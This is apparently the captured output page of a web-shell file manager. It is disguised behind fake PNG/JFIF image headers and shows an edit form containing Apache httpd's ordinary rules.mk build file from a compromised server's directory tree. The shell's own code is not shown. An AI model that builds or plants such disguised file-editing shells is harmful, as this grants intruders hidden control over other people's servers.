�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FAPACHE%2F'>APACHE</a>/<a href='?path=%2Fbig%2FAPACHE%2Fbuild%2F'>build</a>/</p><hr><h3>✏️ Editing: rules.mk</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'># Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements.  See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the &quot;License&quot;); you may not use this file except in compliance with
# the License.  You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an &quot;AS IS&quot; BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
#
# The build environment was originally provided by Sascha Schumann.

include  $(top_builddir)/build/config_vars.mk 

# Combine all of the flags together in the proper order so that
# the user-defined flags can always override the configure ones, if needed.
# Note that includes are listed after the flags because -I options have
# left-to-right precedence and CPPFLAGS may include user-defined overrides.
# The &quot;MOD_&quot; prefixed variable are provided to allow modules to insert their
# (per-subdirectory) settings through definitions in modules.mk, with highest
# precedence.
#
ALL_CFLAGS   = $(MOD_CFLAGS) $(EXTRA_CFLAGS) $(NOTEST_CFLAGS) $(CFLAGS)
ALL_CPPFLAGS = $(DEFS) $(INTERNAL_CPPFLAGS) $(MOD_CPPFLAGS) $(EXTRA_CPPFLAGS) $(NOTEST_CPPFLAGS) $(CPPFLAGS)
ALL_CXXFLAGS = $(MOD_CXXFLAGS) $(EXTRA_CXXFLAGS) $(NOTEST_CXXFLAGS) $(CXXFLAGS)
ALL_LDFLAGS  = $(MOD_LDFLAGS) $(EXTRA_LDFLAGS) $(NOTEST_LDFLAGS) $(LDFLAGS)
ALL_LIBS     = $(MOD_LIBS) $(EXTRA_LIBS) $(NOTEST_LIBS) $(LIBS)
ALL_INCLUDES = $(MOD_INCLUDES) $(INCLUDES) $(EXTRA_INCLUDES)

# Compile commands

BASE_CC  = $(CC) $(ALL_CFLAGS) $(ALL_CPPFLAGS) $(ALL_INCLUDES)
BASE_CXX = $(CXX) $(ALL_CXXFLAGS) $(ALL_CPPFLAGS) $(ALL_INCLUDES)

COMPILE      = $(BASE_CC) $(PICFLAGS)
CXX_COMPILE  = $(BASE_CXX) $(PICFLAGS)

SH_COMPILE     = $(LIBTOOL) --mode=compile $(BASE_CC) $(SHLTCFLAGS) -c $&lt; &amp;&amp; touch $@
SH_CXX_COMPILE = $(LIBTOOL) --mode=compile $(BASE_CXX) $(SHLTCFLAGS) -c $&lt; &amp;&amp; touch $@

LT_COMPILE     = $(LIBTOOL) --mode=compile $(COMPILE) $(LTCFLAGS) -c $&lt; &amp;&amp; touch $@
LT_CXX_COMPILE = $(LIBTOOL) --mode=compile $(CXX_COMPILE) $(LTCFLAGS) -c $&lt; &amp;&amp; touch $@

# Link-related commands

LINK     = $(LIBTOOL) --mode=link $(CC) $(ALL_CFLAGS) $(PILDFLAGS) $(LT_LDFLAGS) $(ALL_LDFLAGS) -o $@
SH_LINK  = $(SH_LIBTOOL) --mode=link $(CC) $(ALL_CFLAGS) $(LT_LDFLAGS) $(ALL_LDFLAGS) $(SH_LDFLAGS) $(CORE_IMPLIB) $(SH_LIBS) -o $@
MOD_LINK = $(LIBTOOL) --mode=link $(CC) $(ALL_CFLAGS) -static $(LT_LDFLAGS) $(ALL_LDFLAGS) -o $@

# Cross compile commands

# Helper programs

INSTALL_DATA = $(INSTALL) -m 644
INSTALL_PROGRAM = $(INSTALL) -m 755 $(INSTALL_PROG_FLAGS)

#
# Standard build rules
#
all: all-recursive
depend: depend-recursive
clean: clean-recursive
distclean: distclean-recursive
extraclean: extraclean-recursive
install: install-recursive
shared-build: shared-build-recursive

all-recursive install-recursive depend-recursive:
	@otarget=`echo $@|sed s/-recursive//`; \
	list=&#039; $(BUILD_SUBDIRS) $(SUBDIRS)&#039;; \
	for i in $$list; do \
	    if test -d &quot;$$i&quot;; then \
		target=&quot;$$otarget&quot;; \
		echo &quot;Making $$target in $$i&quot;; \
		if test &quot;$$i&quot; = &quot;.&quot;; then \
			made_local=yes; \
			target=&quot;local-$$target&quot;; \
		fi; \
		(cd $$i &amp;&amp; $(MAKE) $$target) || exit 1; \
	    fi; \
	done; \
	if test &quot;$$otarget&quot; = &quot;all&quot; &amp;&amp; test -z &#039;$(TARGETS)&#039;; then \
	    made_local=yes; \
	fi; \
	if test &quot;$$made_local&quot; != &quot;yes&quot;; then \
	    $(MAKE) &quot;local-$$otarget&quot; || exit 1; \
	fi

clean-recursive distclean-recursive extraclean-recursive:
	@otarget=`echo $@|sed s/-recursive//`; \
	list=&#039;$(CLEAN_SUBDIRS) $(SUBDIRS)&#039;; \
	for i in $$list; do \
	    if test -d &quot;$$i&quot;; then \
		target=&quot;$$otarget&quot;; \
		echo &quot;Making $$target in $$i&quot;; \
		if test &quot;$$i&quot; = &quot;.&quot;; then \
			made_local=yes; \
			target=&quot;local-$$target&quot;; \
		fi; \
		(cd $$i &amp;&amp; $(MAKE) $$target); \
	    fi; \
	done; \
	if test &quot;$$otarget&quot; = &quot;all&quot; &amp;&amp; test -z &#039;$(TARGETS)&#039;; then \
	    made_local=yes; \
	fi; \
	if test &quot;$$made_local&quot; != &quot;yes&quot;; then \
	    $(MAKE) &quot;local-$$otarget&quot;; \
	fi

shared-build-recursive:
	@if test `pwd` = &quot;$(top_builddir)&quot;; then \
	    $(PRE_SHARED_CMDS) ; \
	fi; \
	list=&#039;$(SUBDIRS)&#039;; for i in $$list; do \
	    target=&quot;shared-build&quot;; \
	    if test &quot;$$i&quot; = &quot;.&quot;; then \
		made_local=yes; \
		target=&quot;local-shared-build&quot;; \
	    fi; \
	    if test &quot;$$i&quot; != &quot;srclib&quot;; then \
		(cd $$i &amp;&amp; $(MAKE) $$target) || exit 1; \
	    fi; \
	done; \
	if test -f &#039;modules.mk&#039;; then \
	    if test -n &#039;$(SHARED_TARGETS)&#039;; then \
		echo &quot;Building shared: $(SHARED_TARGETS)&quot;; \
		if test &quot;$$made_local&quot; != &quot;yes&quot;; then \
			$(MAKE) &quot;local-shared-build&quot; || exit 1; \
		fi; \
	    fi; \
	fi; \
	if test `pwd` = &quot;$(top_builddir)&quot;; then \
		$(POST_SHARED_CMDS) ; \
	fi

local-all: $(TARGETS)

local-shared-build: $(SHARED_TARGETS)

local-depend: x-local-depend
	@if test -n &quot;`ls $(srcdir)/*.c 2&gt; /dev/null`&quot;; then \
		rm -f .deps; \
		list=&#039;$(srcdir)/*.c&#039;; \
		for i in $$list; do \
			$(MKDEP) $(ALL_CPPFLAGS) $(ALL_INCLUDES) $$i | sed &#039;s/\.o:/.lo:/&#039; &gt;&gt; .deps; \
		done; \
		sed &#039;s/\.lo:/.slo:/&#039; &lt; .deps &gt; .deps.$$; \
		cat .deps.$$ &gt;&gt; .deps; \
		rm -f .deps.$$; \
	fi

local-clean: x-local-clean
	rm -f *.o *.lo *.slo *.obj *.a *.la $(CLEAN_TARGETS) $(TARGETS)
	rm -rf .libs

local-distclean: local-clean x-local-distclean
	rm -f .deps Makefile $(DISTCLEAN_TARGETS)

local-extraclean: local-distclean x-local-extraclean
	@if test -n &quot;$(EXTRACLEAN_TARGETS)&quot;; then \
	    echo &quot;rm -f $(EXTRACLEAN_TARGETS)&quot;; \
	    rm -f $(EXTRACLEAN_TARGETS) ; \
	fi

program-install: $(TARGETS) $(SHARED_TARGETS)
	@if test -n &#039;$(bin_PROGRAMS)&#039;; then \
	    test -d $(DESTDIR)$(bindir) || $(MKINSTALLDIRS) $(DESTDIR)$(bindir); \
	    list=&#039;$(bin_PROGRAMS)&#039;; for i in $$list; do \
	        $(INSTALL_PROGRAM) $$i $(DESTDIR)$(bindir); \
	    done; \
	fi
	@if test -n &#039;$(sbin_PROGRAMS)&#039;; then \
	    test -d $(DESTDIR)$(sbindir) || $(MKINSTALLDIRS) $(DESTDIR)$(sbindir); \
	    list=&#039;$(sbin_PROGRAMS)&#039;; for i in $$list; do \
	        $(INSTALL_PROGRAM) $$i $(DESTDIR)$(sbindir); \
	    done; \
	fi

local-install: program-install $(INSTALL_TARGETS)

# to be filled in by the actual Makefile if extra commands are needed
x-local-depend x-local-clean x-local-distclean x-local-extraclean:

#
# Implicit rules for creating outputs from input files
#
CXX_SUFFIX = cpp
SHLIB_SUFFIX = so

.SUFFIXES:
.SUFFIXES: .S .c .$(CXX_SUFFIX) .lo .o .s .y .l .slo .def .la

.c.o:
	$(COMPILE) -c $&lt;

.s.o:
	$(COMPILE) -c $&lt;

.c.lo:
	$(LT_COMPILE)

.s.lo:
	$(LT_COMPILE)

.c.slo:
	$(SH_COMPILE)

.$(CXX_SUFFIX).lo:
	$(LT_CXX_COMPILE)

.$(CXX_SUFFIX).slo:
	$(SH_CXX_COMPILE)

.y.c:
	$(YACC) $(YFLAGS) $&lt; &amp;&amp; mv y.tab.c $*.c
	if test -f y.tab.h; then \
	if cmp -s y.tab.h $*.h; then rm -f y.tab.h; else mv y.tab.h $*.h; fi; \
	else :; fi

.l.c:
	$(LEX) $(LFLAGS) $&lt; &amp;&amp; mv $(LEX_OUTPUT_ROOT).c $@

# Makes an import library from a def file
.def.la:
	$(LIBTOOL) --mode=compile $(MK_IMPLIB) -o $@ $&lt;

#
# Dependencies
#
include  $(builddir)/.deps 

.PHONY: all all-recursive install-recursive local-all $(PHONY_TARGETS) \
	shared-build shared-build-recursive local-shared-build \
	depend depend-recursive local-depend x-local-depend \
	clean clean-recursive local-clean x-local-clean \
	distclean distclean-recursive local-distclean x-local-distclean \
	extraclean extraclean-recursive local-extraclean x-local-extraclean \
	install local-install docs $(INSTALL_TARGETS)

</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FAPACHE%2Fbuild'>🔙 Back</a></p>